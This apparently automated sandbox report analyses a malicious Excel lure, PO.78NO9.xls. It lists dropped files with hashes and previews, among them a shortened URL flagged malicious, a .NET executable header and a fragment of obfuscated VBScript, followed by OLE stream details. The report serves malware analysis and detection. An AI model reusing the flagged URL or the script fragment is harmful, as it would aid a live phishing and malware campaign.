Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows 95 Internet shortcut text (URL=<https://m2g.me/a080>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	45
Entropy (8bit):	4.624751985026256
Encrypted:	false
SSDEEP:	3:HRAbABGQYm2fTrXy:HRYFVm4Tu
MD5:	0F1A7C285D2E982A5A2B890AE69D0715
SHA1:	0B59F828D6ECC13570CB52B48A9EBC9C406CD02F
SHA-256:	44B34713B7CBD97C4A62BD3CBF252E275C66498B77834BA0704E346B49F24F8F
SHA-512:	3C0AFD61D001E932F10961FD48D3EA7B8DB6E154F753980376C7F877F7213DD08DE44162119ADAFA73353621355840A5461F2A27F90E4C416CB7A51D6E77EC15
Malicious:	true
Preview:	[InternetShortcut]..URL=https://m2g.me/a080..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [xls]
Category:	modified
Size (bytes):	76
Entropy (8bit):	4.541472454605286
Encrypted:	false
SSDEEP:	3:bDKKbiMULpzVomMl1LpzVov:bNiMazV65zVy
MD5:	7C8F042E289791537AFAAFAA19F8DC89
SHA1:	42F1EBB2603A828F809362785D5722103CE01F44
SHA-256:	451061D93BBCE8BDA599FB1BF35131987899EEDB1B3E67DB9553B8FF2C4ACD83
SHA-512:	D86C41134307F7680D832766C70BA6099413A98B0E99553F94B07F5101C547284CF86CBCD20245AFF1F5B39D19D804D8818D426942F17B5D442DB09EB45B6D56
Malicious:	false
Preview:	[folders]..a080.url=0..m2g.me.url=0..PO.78NO9.LNK=0..[xls]..PO.78NO9.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\m2g.me.url

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows 95 Internet shortcut text (URL=<https://m2g.me/>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.4546361507484775
Encrypted:	false
SSDEEP:	3:HRAbABGQYm2fTl:HRYFVm4Tl
MD5:	843DD0754B021F8B22D00099373E9CBA
SHA1:	85D399E0A3770EFF869F18484F6BFCDCBDDEF492
SHA-256:	62BFA602E851680D75C31E964FBF84293A356FADAAB6C5522E1C0F90192F46A1
SHA-512:	0F8E24FDBFD7FE71CE7FD0A4E837C0ED179914C79914DFF458001EAFA432DF076AA2D68A7A04CFCC3F0AED23AE3E2BA60FE3C195B746D92F18533A83A1676D47
Malicious:	true
Preview:	[InternetShortcut]..URL=https://m2g.me/..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.503835550707525
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVypil69oycWjUbtFJlln:vdsCkWtTl69oyjUvl
MD5:	CB3D0F9D3F7204AF5670A294AB575B37
SHA1:	5E792DFBAD5EDA9305FCF8F671F385130BB967D8
SHA-256:	45968B9F50A9B4183FBF4987A106AB52EB3EF3279B2118F9AB01BA837DC3968A
SHA-512:	BD116CAF3ACA40A5B90168A022C84923DB51630FA0E62E46020B71B8EB9613EAE776D476B0C6DE0D5F15642A74ED857765150F406937FBA5CB995E9FCDAC81AE
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Roaming\niLILOT.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	45160
Entropy (8bit):	6.116594536419729
Encrypted:	false
SSDEEP:	384:fwNAPwxabK/7YyoodyJ8Ood06xKJ9Yl6dnPU3SERztmbqCJstdMardz/JikPZ+ME:iYGn//oAKod926Iq8w20lIUUimBBI
MD5:	04AA198D72229AEED129DC20201BF030
SHA1:	17147A1A7417943A5BEAA002E304ADD3D6D67EA7
SHA-256:	113C03899AAAF8CE4A4083DD254431348A937A0F0A4733C9C83B50E0F02E3C38
SHA-512:	96B2EBCE7E267BE48743948C90D75F615275B2214DC1D05B41B5E7E0A9688A6FE9EB9049648D647D5FE119A41ACF8BBDE27AF4DA229A008C8916244A6D9761FA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...5p.\..............0..d............... ........@.. ....................................`.................................D...O.......$............r..h>........................................................... ............... ..H............text....b... ...d.................. ..`.rsrc...$............f..............@..@.reloc...............p..............@..B................x.......H........&..$R...........x..(............................................0..........(.....R.....&..(....(....(..........%.r...p.(....(....(....(....(....(......i.3..(....-.(.....*s.....(....r...p(......s......o ...-+r9..p(....(..........%...(....(............~P...-E.o!...-.rC..p(....(....+.(....(......&rM..p(....(.....................rW..po".....,...-+rk..p(....(..........%...(....(............o#...(....(...............(........-.......u........,$ru..p..o$.....o%.....o&...(

C:\Users\user\AppData\Roaming\wegivenewthingssoonsweetnes.vbS

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	194546
Entropy (8bit):	3.7308893365983766
Encrypted:	false
SSDEEP:	3072:NgVXBa4xg3NmKaba5Vxgt5pOGwWXgy7UjT/GZYmlcnrtIhv4t:Ng9Ba4x2Nm05l3yq5Iit
MD5:	E649435AF0F3788A713CD22749FE6B38
SHA1:	7D1BCBAD5F789C559E1E04F427F778446C0D6388
SHA-256:	730B7357EF72D30C42DC3A32EC8E7E82303C40FB6056875E50DE4F644B0F06F3
SHA-512:	B55E31EDEE1DC1FEF0A87F5D5B4B0D8D6CDCFAFAE89214B2C4D8F76CA26053C18B631E819DFC36F11A2380280ACB906F2207047057016E2AB5C8791947EB6A64
Malicious:	true
Preview:	..p.r.i.v.a.t.e. .f.u.n.c.t.i.o.n. .l.y.c.a.n.t.h.r.o.p.i.a.(.e.n.a.n.t.h.e.m.a.,. .p.r.e.s.s.u.r.o.s.o.,. .p.u.x.i.r.u.m.,. .s.e.m.i.l.o.u.r.o.,. .e.x.h.i.b.i.c.i.o.n.i.s.m.o.)..... . . . .d.i.m. .f.i.l.t.e.r..... . . . .d.i.m. .d.i.a.l.e.c.t..... . . . .d.i.m. .e..... . . . .d.i.m. .r.e.s..... . . . .d.i.m. .f.o.r.m.a.t.t.e.d.T.e.x.t..... . . . .d.i.m. .f.l.a.g.s..... . . . ..... . . . .f.l.a.g.s. .=. .0..... . . . . ..... . . . .i.f. .p.u.x.i.r.u.m...A.r.g.u.m.e.n.t.E.x.i.s.t.s.(.N.P.A.R.A._.F.I.L.T.E.R.). .t.h.e.n..... . . . . . . . .f.i.l.t.e.r. .=. .p.u.x.i.r.u.m...A.r.g.u.m.e.n.t.(.N.P.A.R.A._.F.I.L.T.E.R.)..... . . . . . . . .d.i.a.l.e.c.t. .=. .U.R.I._.W.Q.L._.D.I.A.L.E.C.T..... . . . .e.n.d. .i.f..... . . . ..... . . . .i.f. .p.u.x.i.r.u.m...A.r.g.u.m.e.n.t.E.x.i.s.t.s.(.N.P.A.R.A._.D.I.A.L.E.C.T.). .t.h.e.n..... . . . . . . . .d.i.a.l.e.c.t. .=. .p.u.x.i.r.u.m...A.r.g.u.m.e.n.t.(.N.P.A.R.A._.D.I.A.L.E.C.T.)..... . . . .e.n.d. .i.f..... . . . ..... . . . .I.f. .L.C.a.s.e.(.d.

C:\Users\user\Desktop\FC830000

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Mon Oct 7 06:15:10 2024, Security: 1
Category:	dropped
Size (bytes):	1101824
Entropy (8bit):	7.300720188844151
Encrypted:	false
SSDEEP:	12288:FmzHJEHAfwu4hzD3DERnLRmF8DNtrf1Y3dWFuIeMxWjTg3Y91jH5FRrudtAJoVD:cLw/hzbARM8zi35Tg3CD5ao
MD5:	8FBDDA5C05722ED1A7C5DB5B96E46B2F
SHA1:	5A5673A5777F78B3EA8E2A2F11AFADFE8B803C56
SHA-256:	D3A9F799092B89F173B75997C42C401A0B573835AD1AD04E9BB1BD02F0BFE451
SHA-512:	628AD9D3F40868116CF6132A74159726E511EDDA3B528B526A27DE73B04920B2327586C6A546BB9B8D7E466324BC593B9AA1E50F5817C3241A2F2641D4E583E5
Malicious:	false
Preview:	......................>...............................................................................;.......................h.......j................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\FC830000:Zone.Identifier

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Desktop\PO.78NO9.xls (copy)

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Mon Oct 7 06:15:10 2024, Security: 1
Category:	dropped
Size (bytes):	1101824
Entropy (8bit):	7.300720188844151
Encrypted:	false
SSDEEP:	12288:FmzHJEHAfwu4hzD3DERnLRmF8DNtrf1Y3dWFuIeMxWjTg3Y91jH5FRrudtAJoVD:cLw/hzbARM8zi35Tg3CD5ao
MD5:	8FBDDA5C05722ED1A7C5DB5B96E46B2F
SHA1:	5A5673A5777F78B3EA8E2A2F11AFADFE8B803C56
SHA-256:	D3A9F799092B89F173B75997C42C401A0B573835AD1AD04E9BB1BD02F0BFE451
SHA-512:	628AD9D3F40868116CF6132A74159726E511EDDA3B528B526A27DE73B04920B2327586C6A546BB9B8D7E466324BC593B9AA1E50F5817C3241A2F2641D4E583E5
Malicious:	true
Preview:	......................>...............................................................................;.......................h.......j................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Mon Oct 7 02:23:51 2024, Security: 1
Entropy (8bit):	7.262903287999066
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	PO.78NO9.xls
File size:	1'095'168 bytes
MD5:	f4d2762d6fc4b70c3c88ab984e74d7cf
SHA1:	ce98c26ec0a34cd39337e94afb3d5cc8409bf944
SHA256:	781b57f2c750077fea3540b45ab5be0a9f1eac03b02d5ebbd89e4558ec130e50
SHA512:	ef45f9b19375bb20710d0f7dac3225ae5bd1e5bec1a8871f8f6764dde5a9557b01423e2cca4b7622306b92fb5f5e0b11e4797361c893556742bec06901b4f1e3
SSDEEP:	12288:1mzHJEHAfwu4huD3DERnLRmF8DbPrf1f3dyFum4gwJ3xMuyOHKqv/61FHPmLX2gV:sLw/hubARM8Th3jLaDvFvmLGprPU
TLSH:	D035DF83AA1D4F62CE41423066F7177A1324DC43D622872B22F5772839FBAD06956FED
File Content Preview:	........................>...............................................................................<.......................j.......l......................................................................................................................

File Icon


Icon Hash:	276ea3a6a6b7bfbf

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "PO.78NO9.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2024-10-07 01:23:51
Creating Application:	Microsoft Excel
Security:	1

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	786432

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ^ V . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 5e 56 92 fd 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet2.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet2
VBA File Name:	Sheet2.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ^ V . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 5e 56 04 8e 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet3.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet3
VBA File Name:	Sheet3.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ^ V L . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 5e 56 b7 4c 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 985

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	985
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ^ V . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 5e 56 f2 89 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.889430592781307
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	200
Entropy:	3.2920681057018664
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . \| . # . @ . . . m W . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: MBD008EDE52/\x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	MBD008EDE52/\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD008EDE52/\x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	MBD008EDE52/\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.701136490257069
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . F e u i l 1 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 9f 00 00 00

Stream Path: MBD008EDE52/\x5SummaryInformation, File Type: dBase III DBT, version number 0, next free block index 65534, 1st item "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", Stream Size: 90976

General
Stream Path:	MBD008EDE52/\x5SummaryInformation
CLSID:
File Type:	dBase III DBT, version number 0, next free block index 65534, 1st item "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
Stream Size:	90976
Entropy:	1.885975041684416
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . 0 c . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . p . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . ; { ) . @ . . . . Z % . } . @ . . . . . . . . . . . . . . . G . . . t b . . . . . . . . u . 2 . . . . . . . . . 2 . . . . ! . . . . . . . . . . v . . . ! . . A . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 30 63 01 00 09 00 00 00 01 00 00 00 50 00 00 00 04 00 00 00 58 00 00 00 08 00 00 00 64 00 00 00 12 00 00 00 70 00 00 00 0b 00 00 00 88 00 00 00 0c 00 00 00 94 00 00 00 0d 00 00 00 a0 00 00 00 13 00 00 00 ac 00 00 00 11 00 00 00 b4 00 00 00

Stream Path: MBD008EDE52/MBD0018D4CE/\x1Ole, File Type: data, Stream Size: 20

General
Stream Path:	MBD008EDE52/MBD0018D4CE/\x1Ole
CLSID:
File Type:	data
Stream Size:	20
Entropy:	0.5689955935892812
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . .
Data Raw:	01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD008EDE52/MBD0018D4CE/\x3ObjInfo, File Type: data, Stream Size: 4

General
Stream Path:	MBD008EDE52/MBD0018D4CE/\x3ObjInfo
CLSID:
File Type:	data
Stream Size:	4
Entropy:	0.8112781244591328
Base64 Encoded:	False
Data ASCII:	. . . .
Data Raw:	00 00 03 00

Stream Path: MBD008EDE52/MBD0018D4CE/Contents, File Type: Corel Photo-Paint image, version 9, 716 x 547 RGB 24 bits, 11811024 micro dots/mm, 4 blocks, array offset 0x13c, Stream Size: 197671

General
Stream Path:	MBD008EDE52/MBD0018D4CE/Contents
CLSID:
File Type:	Corel Photo-Paint image, version 9, 716 x 547 RGB 24 bits, 11811024 micro dots/mm, 4 blocks, array offset 0x13c
Stream Size:	197671
Entropy:	6.989042939766534
Base64 Encoded:	True
Data ASCII:	C P T 9 F I L E . . . . . . . . . . . . . . . . 8 . 8 . . . . . . . . . . . . . . . . . . . . < . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
